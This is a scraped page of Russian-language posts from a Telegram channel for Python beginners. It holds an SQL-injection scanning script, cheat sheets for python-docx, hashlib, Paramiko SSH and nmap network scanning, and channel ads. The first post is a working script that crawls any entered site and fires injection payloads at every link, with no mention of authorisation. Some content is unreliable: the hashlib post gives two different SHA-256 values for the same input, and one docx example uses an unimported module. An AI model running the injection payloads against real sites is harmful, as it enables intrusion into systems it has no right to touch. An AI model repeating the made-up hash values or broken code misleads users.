Latest Posts from Python для новичков (@pythonvideo) on Telegram

Python для новичков Telegram Posts

Python для новичков
Админ: @solkogan
Купить рекламу: https://telega.in/c/pythonvideo
6,417 Subscribers
255 Photos
15 Videos
Last Updated 27.02.2025 08:32

Similar Channels

Python School
86,121 Subscribers
[PYTHON:TODAY]
62,166 Subscribers
Сливакер | IT
44,791 Subscribers

The latest content shared by Python для новичков on Telegram


Как создать простой скрипт на Python для тестирования SQL уязвимостей

Для этого мы можем использовать библиотеку requests для выполнения HTTP-запросов, а также BeautifulSoup для парсинга HTML. Убедитесь, что у вас установлены необходимые библиотеки:

pip install requests beautifulsoup4


Вот пример простого скрипта для тестирования ссылок на SQL-инъекции:

import requests
from bs4 import BeautifulSoup
import urllib.parse

# Функция для проверки уязвимости на SQL-инъекции
def test_sql_injection(url):
# Примеры полезных полезных SQL-инъекций
sql_payloads = [
"' OR '1'='1",
"' OR '1'='1' -- ",
"' OR '1'='1' /*",
'" OR "1"="1',
'" OR "1"="1" -- ',
'" OR "1"="1" /*'
]

for payload in sql_payloads:
# Создаем URL с полезной нагрузкой
test_url = f"{url}{payload}"
try:
response = requests.get(test_url)
if response.status_code == 200:
# Проверка на наличие ошибок SQL в ответе
if "error" in response.text.lower() or "sql" in response.text.lower():
print(f"[!] Potential SQL Injection vulnerability found at: {test_url}")
else:
print(f"[ ] No vulnerability detected at: {test_url}")
else:
print(f"[ ] Received status code {response.status_code} for: {test_url}")
except requests.RequestException as e:
print(f"[!] Request failed for {test_url}: {str(e)}")

# Функция для получения всех ссылок на странице
def get_links(url):
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
links = [a['href'] for a in soup.find_all('a', href=True)]
return [urllib.parse.urljoin(url, link) for link in links] # Полные URL
except requests.RequestException as e:
print(f"[!] Failed to retrieve links from {url}: {str(e)}")
return []

# Главная функция
def main():
target_url = input("Enter the URL to test for SQL Injection: ")
links = get_links(target_url)

for link in links:
print(f"Testing {link} for SQL Injection...")
test_sql_injection(link)

if __name__ == "__main__":
main()


### Основные моменты:

1. Скрипт запрашивает URL: Вводите URL сайта, который хотите протестировать.
2. Получение ссылок: Скрипт получает все ссылки на указанной странице.
3. Тестирование на SQL-инъекции: Для каждой ссылки скрипт добавляет различные полезные нагрузки и проверяет ответ сервера на наличие ошибок SQL.
4. Вывод результатов: Скрипт сообщает, если обнаружена потенциальная уязвимость.

- Этот скрипт является базовым примером и не гарантирует обнаружение всех уязвимостей. Для более глубокого анализа используйте специализированные инструменты для тестирования на проникновение.

https://habr.com/ru/articles/852900/

Подписывайтесь на мой второй канал, про Linux

👇👇👇

https://t.me/mindlinux

👆👆👆

https://habr.com/ru/companies/selectel/articles/852468/

Работа с документами формата DOCX в Python может значительно упростить офисные задачи. Для этого часто используется библиотека python-docx, которая позволяет создавать, изменять и анализировать документы Word.

### Установка библиотеки

Сначала необходимо установить библиотеку, если она еще не установлена:

pip install python-docx


### 1. Создание нового DOCX документа

Этот код создает новый документ и добавляет в него заголовок и абзац.

from docx import Document

def create_document():
doc = Document()
doc.add_heading('Заголовок документа', level=1)
doc.add_paragraph('Это абзац текста в новом документе.')
doc.save('новый_документ.docx')

create_document()


### 2. Чтение текста из существующего DOCX документа

Этот код считывает текст из существующего документа и выводит его на экран.

from docx import Document

def read_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
print(paragraph.text)

read_document('существующий_документ.docx')


### 3. Добавление таблицы в документ

Этот код добавляет таблицу в документ с заданным количеством строк и столбцов.

from docx import Document

def add_table_to_document():
doc = Document()
table = doc.add_table(rows=3, cols=3)
for row in table.rows:
for cell in row.cells:
cell.text = 'Текст ячейки'
doc.save('документ_с_таблицей.docx')

add_table_to_document()


### 4. Изменение текста в существующем документе

Этот фрагмент кода изменяет текст в существующем документе.

from docx import Document

def modify_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
if 'старый текст' in paragraph.text:
paragraph.text = paragraph.text.replace('старый текст', 'новый текст')
doc.save('измененный_документ.docx')

modify_document('существующий_документ.docx')


### 5. Добавление изображений в документ

Этот код добавляет изображение в документ.

from docx import Document

def add_image_to_document():
doc = Document()
doc.add_heading('Документ с изображением', level=1)
doc.add_paragraph('Вот изображение:')
doc.add_picture('путь_к_изображению.jpg', width=docx.shared.Inches(2))
doc.save('документ_с_изображением.docx')

add_image_to_document()


### 6. Поиск и удаление абзацев

Этот код ищет и удаляет абзацы, содержащие определенный текст.

from docx import Document

def remove_paragraphs(file_path, text_to_remove):
doc = Document(file_path)
for paragraph in doc.paragraphs:
if text_to_remove in paragraph.text:
p = paragraph._element
p.getparent().remove(p)
doc.save('документ_без_абзацев.docx')

remove_paragraphs('существующий_документ.docx', 'текст для удаления')


### 7. Форматирование текста

Этот код форматирует текст в документе, добавляя жирный шрифт и курсив.

from docx import Document
from docx.shared import Pt

def format_text_in_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
run = paragraph.add_run('Этот текст будет жирным и курсивом. ')
run.bold = True
run.italic = True
doc.save('документ_с_форматированием.docx')

format_text_in_document('существующий_документ.docx')

Шпаргалка по библиотеке hashlib в Python, которая поможет новичкам понять, как использовать её для работы с хешированием данных.

### Что такое hashlib?

hashlib — это стандартная библиотека Python, которая предоставляет интерфейс для создания хеш-функций. Хеш-функции используются для создания уникального представления данных фиксированной длины (хеша) из произвольного объема данных.

### Установка

hashlib входит в стандартную библиотеку Python, поэтому установка не требуется. Просто импортируйте библиотеку:

import hashlib


### Основные хеш-функции

hashlib поддерживает несколько популярных хеш-функций:

- MD5: hashlib.md5()
- SHA-1: hashlib.sha1()
- SHA-256: hashlib.sha256()
- SHA-512: hashlib.sha512()

### Примеры использования

#### 1. Создание хеша

import hashlib

# Создание объекта хеша
hash_object = hashlib.sha256()

# Обновление хеша данными
hash_object.update(b'Hello, world!') # Обратите внимание, данные должны быть в байтах

# Получение хеша в шестнадцатеричном формате
hex_dig = hash_object.hexdigest()
print(hex_dig) # Пример вывода: '315f5bdb76d084c2d8b11d0f600bfb0c8b11f8c3f0f0f8e7e7b6f3e4f2c4b2c1'


#### 2. Хеширование строки

import hashlib

# Функция для хеширования строки
def hash_string(input_string):
return hashlib.sha256(input_string.encode()).hexdigest()

# Пример использования
print(hash_string("Hello, world!")) # Вывод: 'a591a6d40bf420404a011733cfb7b190d62c65bf0bcda190c3c6c1e06f89c1b'


#### 3. Хеширование файла

import hashlib

# Функция для хеширования содержимого файла
def hash_file(filepath):
hash_object = hashlib.sha256() # Или любой другой алгоритм
with open(filepath, 'rb') as file:
# Чтение файла по частям
while chunk := file.read(4096):
hash_object.update(chunk)
return hash_object.hexdigest()

# Пример использования
print(hash_file('example.txt')) # Хеш содержимого файла example.txt


### Основные методы

- hashlib.new(name): Создает новый объект хеша по имени алгоритма.
- hash.update(data): Обновляет объект хеша данными. Данные должны быть в байтах.
- hash.hexdigest(): Возвращает хеш в шестнадцатеричном формате.
- hash.digest(): Возвращает хеш в бинарном (байтовом) формате.

### Пример работы с несколькими алгоритмами

import hashlib

# Данные для хеширования
data = b"Hello, world!"

# MD5
md5_hash = hashlib.md5(data).hexdigest()
print("MD5:", md5_hash)

# SHA-1
sha1_hash = hashlib.sha1(data).hexdigest()
print("SHA-1:", sha1_hash)

# SHA-256
sha256_hash = hashlib.sha256(data).hexdigest()
print("SHA-256:", sha256_hash)

# SHA-512
sha512_hash = hashlib.sha512(data).hexdigest()
print("SHA-512:", sha512_hash)


### Заключение

hashlib — это мощный инструмент для работы с хешами в Python. Он широко используется в безопасных приложениях, проверке целостности данных и многих других задачах. Используйте хеши для проверки идентичности данных и защиты паролей, но помните, что некоторые алгоритмы, такие как MD5, больше не считаются безопасными для криптографических целей.

### Полезные ссылки

https://docs.python.org/3/library/hashlib.html

Уже долгое время я изучаю тематику цифрового бессмертия. У меня есть сайт virtperson.net, где можно создавать чат-боты, имитирующие вашу личность.

С каждым днём нейросети становятся всё умнее, а цифровые агенты всё правдоподобнее. К чему это приведёт?

Я выпустил книгу, в которой попытался подробно рассказать о нашем будущем. И да, там даже картинки есть 😉

Заказать можно на Озоне (бумажный вариант, с доставкой):

👇👇👇

https://www.ozon.ru/product/tsifrovoe-bessmertie-removich-ivan-1731172508/

☝️☝️☝️

Шпаргалка по библиотеке Paramiko для работы с SSH в Python.

### Установка
Чтобы установить Paramiko, используйте pip:

pip install paramiko


### Импорт библиотеки
import paramiko


### Подключение к удалённому серверу

#### 1. Подключение с использованием пароля

# Создание клиента SSH
client = paramiko.SSHClient()

# Загрузка известных хостов
client.load_system_host_keys()

# Добавление сервера, если он не в известных хостах
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Подключение к удалённому серверу
client.connect('hostname_or_ip', username='your_username', password='your_password')

# Выполнение команды
stdin, stdout, stderr = client.exec_command('ls -l')

# Получение результата
print(stdout.read().decode())

# Закрытие соединения
client.close()


#### 2. Подключение с использованием ключа SSH

# Создание клиента SSH
client = paramiko.SSHClient()

# Загрузка известных хостов
client.load_system_host_keys()

# Добавление сервера, если он не в известных хостах
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Подключение к удалённому серверу с использованием ключа
private_key_path = '/path/to/your/private/key'
private_key = paramiko.RSAKey.from_private_key_file(private_key_path)

client.connect('hostname_or_ip', username='your_username', pkey=private_key)

# Выполнение команды
stdin, stdout, stderr = client.exec_command('ls -l')

# Получение результата
print(stdout.read().decode())

# Закрытие соединения
client.close()


### Выполнение команд

# Выполнение команды и получение результата
stdin, stdout, stderr = client.exec_command('your_command')

# Чтение вывода
output = stdout.read().decode()
error_output = stderr.read().decode()

print('Output:', output)
print('Error:', error_output)


### Передача файлов

#### 1. Скачивание файла

sftp = client.open_sftp()
sftp.get('/remote/path/to/file', '/local/path/to/file')
sftp.close()


#### 2. Загрузка файла

sftp = client.open_sftp()
sftp.put('/local/path/to/file', '/remote/path/to/file')
sftp.close()


### Использование контекста

Для автоматического закрытия соединения можно использовать менеджер контекста:

with paramiko.SSHClient() as client:
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('hostname_or_ip', username='your_username', password='your_password')

stdin, stdout, stderr = client.exec_command('ls -l')
print(stdout.read().decode())


### Использование SSH-туннелирования

#### 1. Создание локального туннеля

transport = client.get_transport()
local_port = 12345
remote_host = 'remote_host'
remote_port = 80

# Создание локального туннеля
transport.request_port_forward('localhost', local_port, remote_host, remote_port)


#### 2. Закрытие туннеля

transport.close()


### Обработка исключений

try:
client.connect('hostname_or_ip', username='your_username', password='your_password')
except paramiko.AuthenticationException:
print("Authentication failed.")
except paramiko.SSHException as e:
print(f"Failed to connect: {e}")


### Получение информации о системе

# Получение информации о системе
stdin, stdout, stderr = client.exec_command('uname -a')
print(stdout.read().decode())


### Полезные методы

- client.exec_command(command): Выполнение команды на удалённом сервере.
- client.open_sftp(): Открытие SFTP-сессии для передачи файлов.
- client.load_system_host_keys(): Загрузка известных хостов из системы.
- client.set_missing_host_key_policy(policy): Установка политики для неизвестных хостов.

### Закрытие соединения

Не забудьте закрыть соединение после завершения работы:

client.close()


### Примечания

- Убедитесь, что SSH-сервер запущен на удалённой машине.
- Для использования ключа SSH убедитесь, что права доступа к файлу ключа установлены корректно (например, 600).

Погрузитесь в мир Python с нашим бесплатным курсом!

🎓 Включено 45 уроков, 56 упражнений в тренажере и 163 проверочных теста. Узнаете, как создавать программы, работать с условиями и функциями.

Что вы освоите:
— Составление программ из нескольких модулей.
— Анализ ошибок в коде с использованием отладочной печати.

📚 Курс охватывает основы Python: синтаксис, условия, циклы, типы данных и библиотеки. Практика на каждом шаге поможет вам уверенно использовать язык.

Начните свое обучение с бесплатного базового курса Python и вы сможете создавать несложные программы, а так же анализировать ошибки в коде!

Шпаргалка по библиотеке python-nmap, которая позволяет взаимодействовать с инструментом Nmap из Python. Эта библиотека полезна для автоматизации сетевого сканирования и анализа.

Для работы с библиотекой python-nmap необходимо, чтобы утилита Nmap была предварительно установлена на вашей системе.

### Установка
pip install python-nmap


### Основные компоненты
- nmap: Основной класс для взаимодействия с Nmap.
- scan(): Метод для выполнения сканирования.
- all_info(): Метод для получения всей информации о сканировании.

### Основные методы

#### 1. Импорт библиотеки
import nmap


#### 2. Создание объекта Nmap
nm = nmap.PortScanner()


#### 3. Сканирование
- Синтаксис: scan(hosts, arguments)
- Пример: Сканирование хоста по IP
nm.scan('192.168.1.1', arguments='-sP') # Ping scan


#### 4. Получение информации о сканировании
- Основная информация о хосте:
print(nm.all_hosts()) # Список всех хостов
print(nm['192.168.1.1'].state()) # Состояние хоста (up/down)


- Получение информации о портах:
for proto in nm['192.168.1.1'].all_protocols():
print('Protocol : %s' % proto)
lport = nm['192.168.1.1'][proto].keys()
for port in sorted(lport):
print('Port : %s\tState : %s' % (port, nm['192.168.1.1'][proto][port]['state']))


#### 5. Сканирование нескольких хостов
nm.scan(hosts='192.168.1.1,192.168.1.2', arguments='-sV') # Сканирование с определением версии


#### 6. Запуск сканирования с дополнительными аргументами
- Примеры аргументов:
- -sP: Ping scan
- -sS: TCP SYN scan
- -sV: Определение версии службы
- -O: Определение операционной системы
- -p: Сканирование определенных портов
nm.scan('192.168.1.1', arguments='-sS -O -p 22,80')


### Примеры использования

#### Пример 1: Простое сканирование
import nmap

# Создание объекта сканера
nm = nmap.PortScanner()

# Сканирование
nm.scan('192.168.1.1', arguments='-sS')

# Вывод информации
print(nm.all_hosts())
print(nm['192.168.1.1'].state())


#### Пример 2: Сканирование диапазона IP
import nmap

nm = nmap.PortScanner()
nm.scan(hosts='192.168.1.0/24', arguments='-sP')

for host in nm.all_hosts():
print(f'Host: {host} ({nm[host].hostname()})')
print(f'State: {nm[host].state()}')


#### Пример 3: Сканирование с определением версии и ОС
import nmap

nm = nmap.PortScanner()
nm.scan('192.168.1.1', arguments='-sS -sV -O')

print(f"IP: {nm['192.168.1.1'].hostname()}")
print(f"State: {nm['192.168.1.1'].state()}")
print(f"OS: {nm['192.168.1.1']['osmatch'][0]['name']}")


### Обработка ошибок
try:
nm.scan('192.168.1.1')
except nmap.PortScannerError as e:
print(f'Error: {e}')


### Список доступных функций
- all_hosts(): Возвращает список всех найденных хостов.
- state(): Возвращает состояние хоста (up/down).
- all_protocols(): Возвращает все протоколы (TCP/UDP).
- has_tcp(port): Проверяет, есть ли TCP порт.
- has_udp(port): Проверяет, есть ли UDP порт.
- get_service(port, proto): Получает информацию о службе на порту.